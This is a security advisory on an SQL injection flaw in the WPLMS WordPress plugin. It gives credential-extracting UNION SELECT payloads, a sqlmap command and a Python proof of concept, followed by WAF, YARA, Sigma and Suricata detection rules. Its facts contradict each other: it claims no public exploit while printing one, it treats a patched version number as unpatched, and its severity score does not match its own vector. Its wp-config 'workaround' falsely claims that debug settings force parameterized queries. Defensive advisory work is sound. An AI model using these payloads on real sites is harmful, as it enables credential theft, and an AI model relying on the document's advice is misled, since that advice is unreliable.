CVE-2024-56053

Executive Summary

CVE-2024-56053 is a critical SQL Injection vulnerability in the WordPress ecosystem, specifically within the WPLMS plugin by VibeThemes. The flaw resides in the wplms_plugin component, affecting all versions prior to 1.9.9.5.3. An unauthenticated attacker can inject arbitrary SQL commands via improperly neutralized special elements, leading to full database compromise, data exfiltration, and potential lateral movement within the hosting environment. The CVSS score of 7.6 (High) reflects the ease of exploitation and severe impact on confidentiality, integrity, and availability. No public exploit code or patch is currently available, making this a high-priority zero-day for defenders.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using WPLMS should immediately audit their plugin inventory and verify version numbers. Since the vendor has not released a patch, supply chain risk is elevated—malicious actors may attempt to distribute trojanized versions of the plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Ability to modify or delete data.
• Availability (A): High (H) – Potential to disrupt database operations.

Threat Level: Critical (due to unpatched status and ease of exploitation).

Deep Dive & Mechanics

The vulnerability exists in the wplms_plugin component, which handles user-supplied input for course management, user profiles, and quiz functionality. The plugin fails to sanitize or parameterize SQL queries when processing parameters such as user_id, course_id, or quiz_id. An attacker can inject SQL commands by crafting malicious HTTP requests (GET or POST) to endpoints like:

• /wp-admin/admin-ajax.php?action=wplms_get_user_courses&user_id=1 UNION SELECT ...
• /wp-json/wplms/v1/quiz/submit?quiz_id=1 AND 1=1

The injection occurs because the plugin directly concatenates user input into SQL statements without using prepared statements or parameterized queries. This allows an attacker to bypass authentication, extract user credentials, modify grades, or even execute operating system commands if the database user has sufficient privileges.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.9.9.5.3):

$user_id = $_GET['user_id'];
$query = "SELECT * FROM wp_wplms_user_courses WHERE user_id = $user_id";
$results = $wpdb->get_results($query);

Patched Code (hypothetical fix):

$user_id = intval($_GET['user_id']);
$query = $wpdb->prepare("SELECT * FROM wp_wplms_user_courses WHERE user_id = %d", $user_id);
$results = $wpdb->get_results($query);

The patched version uses intval() to cast the input to an integer and $wpdb->prepare() to safely parameterize the query, preventing injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running WordPress with WPLMS plugin version < 1.9.9.5.3.
• Network access to the WordPress admin-ajax.php or REST API endpoints.

Manual Exploitation:

1. Identify vulnerable endpoint: POST /wp-admin/admin-ajax.php with action=wplms_get_user_courses.
2. Inject SQL payload: user_id=1 UNION SELECT user_login,user_pass,user_email FROM wp_users-- -
3. Extract hashed passwords and emails.

Automated Exploitation (using sqlmap):

sqlmap -u "http://target.com/wp-admin/admin-ajax.php?action=wplms_get_user_courses&user_id=1" --batch --dbs

Proof-of-Concept (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = {"action": "wplms_get_user_courses", "user_id": "1 UNION SELECT user_login,user_pass,user_email FROM wp_users-- -"}
r = requests.post(target, data=payload)
print(r.text)

Blue Team (Detection & Hardening)

Immediate Actions:

1. Disable the WPLMS plugin until a patch is applied.
2. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
3. Monitor database logs for anomalous queries.

WAF Rule (ModSecurity):

SecRule ARGS "@contains UNION SELECT" "id:1000001,phase:2,deny,status:403,msg:'SQL Injection Attempt'"

Database Monitoring (MySQL):

-- Enable general log temporarily
SET GLOBAL general_log = 'ON';
SET GLOBAL log_output = 'TABLE';
-- Query for suspicious patterns
SELECT * FROM mysql.general_log WHERE argument LIKE '%UNION%' OR argument LIKE '%1=1%';

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing UNION SELECT, 1=1, OR 1=1 in parameters like user_id, course_id, quiz_id.
• Repeated requests to /wp-admin/admin-ajax.php with action=wplms_get_user_courses or similar.

File IOCs:

• Modified plugin files in /wp-content/plugins/wplms_plugin/ with suspicious PHP code.
• New files in /wp-content/uploads/ containing database dumps.

Database IOCs:

• Unexpected rows in wp_users table (e.g., new admin accounts).
• Queries in MySQL general log with UNION or INTO OUTFILE.

Detection Engineering

YARA Rule

rule CVE_2024_56053_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting WPLMS plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56053"
    strings:
        $s1 = "wplms_get_user_courses" nocase
        $s2 = "UNION SELECT" nocase
        $s3 = "1=1" nocase
        $s4 = "user_id=" nocase
    condition:
        all of ($s1, $s2, $s3) or ($s1 and $s4 and $s2)
}

Sigma Rule

title: SQL Injection Attempt Against WPLMS Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection patterns in HTTP requests targeting WPLMS endpoints
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=wplms_get_user_courses'
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in custom queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56053 SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wplms_get_user_courses"; http_client_body; pcre:"/(UNION\s+SELECT|1=1|OR\s+1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate (No Patch Available):

1. Disable the plugin – Deactivate and remove WPLMS from all WordPress installations.
2. Implement virtual patching – Use WAF rules to block SQL injection patterns.
3. Restrict database user privileges – Ensure the WordPress database user has minimal permissions (no FILE, CREATE, DROP).

Long-Term:

1. Monitor vendor channels – Subscribe to VibeThemes updates for a patched version.
2. Replace the plugin – Migrate to an alternative LMS plugin with active security support.
3. Conduct code audit – If custom modifications exist, review all SQL queries for parameterization.

Workaround (if plugin must remain active):

• Add the following to wp-config.php to force parameterized queries (not a complete fix):

define('WP_DEBUG', true);
define('SAVEQUERIES', true);

• Use a database proxy like ProxySQL to filter dangerous queries.

Valters IT
Securing Digital Ecosystems